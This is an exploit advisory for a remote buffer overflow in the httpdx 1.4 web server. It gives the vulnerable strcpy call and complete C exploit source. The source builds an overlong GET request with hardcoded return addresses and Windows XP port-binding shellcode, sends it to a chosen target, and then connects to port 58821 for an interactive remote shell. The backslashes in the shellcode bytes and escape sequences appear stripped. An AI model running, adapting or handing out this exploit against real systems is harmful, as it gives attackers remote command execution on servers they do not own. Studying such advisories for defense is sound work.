httpdx web server 1.4 is vulnerable to a remote buffer overflow using long GET requests such as http://www.example.com/aaa=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
The vulnerability lies in httpdx_src/http.cpp in h_handlepeer() : strcpy(index,client->filereq);

Other versions may also be vulnerable.

Exploit (0day) (Tested with httpdx 1.4 on WinXP SP3)


#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

/* 128 byte portbinding shellcode (for WinXP SP3) port 58821
   Derived from shellcode written by silicon */
unsigned char bindcode[] =
"x89xE5"
"x83xC4xECx33xC0x50x50x50x6Ax06"
"x6Ax01x6Ax02xB8"
"x6Ax8BxABx71" // WSASocketA()
"xFFxD0x8BxD8x33xC0x89x45xF4xB0"
"x02x66x89x45xF0x66xC7x45xF2xE5"
"xC5x6Ax10x8Dx55xF0x52x53xB8"
"x80x44xABx71" // bind()
"xFFxD0x6Ax01x53xB8"
"xD3x8CxABx71" // listen()
"xFFxD0x33xC0x50x50x53xB8"
"x40x10xACx71" // accept()
"xFFxD0x8BxD8xBA"
"x7BxD3x81x7C" // SetStdHandle()
"x53x6AxF6xFFxD2x53x6AxF5xFFxD2"
"x53x6AxF4xFFxD2xC7x45xFBx41x63"
"x6Dx64x8Dx45xFCx50xB8"
"xC7x93xC2x77" // system()
"xFFxD0"
"x31xC0x50xB8"
"x12xCBx81x7C" // ExitProcess()
"xFFxD0";


/* ripped from TESO code */
void shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                printf("n - Connection closed by local usern");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf ("n - Connection closed by remote host.n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                printf ("n - Read failuren");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


int main(int argc, char **argv)
{
	char buff[1100];
	long ret1 = 0x64f8134b;	// pop ret (core.dll)
	long addr = 0x63b8624f;	// Required to reach ret instruction
	long ret2 = 0x7c874413;	// jmp esp (kernel32.dll)
	long *ptr;
	struct sockaddr_in target;
	int i, port, sock;


	printf("n---------------------------------------------------------------------n");
	printf("  [*] httpdx 1.4 GET Request Remote Buffer Overflow Exploit (0day) n");
	printf("  [*] Written and discovered by Pankaj Kohli <http://www.pank4j.com> n");
	printf("  [*] Tested with httpdx 1.4 on Windows XP SP3 nn");

	if(argc < 3)
	{
        	printf("[-] Usage: %s  <Target IP> <Port>nn", argv[0]);
        	exit(1);
	}

	port = atoi(argv[2]);
	printf("[+] Creating payload n");

	memset(buff, 0, 1024);
	strcpy(buff, "GET /abc=");
        memset(buff+9, 'A', 616);
        ptr = (long *) (buff + 625);
        *ptr = ret1;
        ptr++;
        *ptr = addr;
        ptr++;
        *ptr = ret2;
        ptr++;
        *ptr = 0;
	strcat(buff, bindcode);
	memset(buff+765, 'A', 244);
	buff[1009] = 0;
	strcat(buff, " HTTP/1.1rnHost: 192.168.2.1rnrn");
	
	printf("[+] Connecting to %s on port %s n", argv[1], argv[2]);
	target.sin_family = AF_INET;
	target.sin_addr.s_addr = inet_addr(argv[1]);
	target.sin_port = htons(port);

	if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		perror("[-] Socket n");
		return(1);
	}

	if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)
	{
		perror("[-] Connect n");
		return(1);
	}

	printf("[+] Sending payload n");
	if (send(sock, buff, strlen(buff), 0)== -1)
	{
		perror("[-] Send n");
		return(1);
	}

	close(sock);
	sleep(1);
    
	target.sin_family = AF_INET;
	target.sin_addr.s_addr = inet_addr(argv[1]);
	target.sin_port = htons(58821);

	if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		perror("[-] Socket n");
		return(1);
	}
    
	if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)
	{
		printf("[-] Exploit failed. n");
		return(1);
	}   
   
	printf("n[+] Dropping to shell nn");
	shell(sock);
	return 0;
}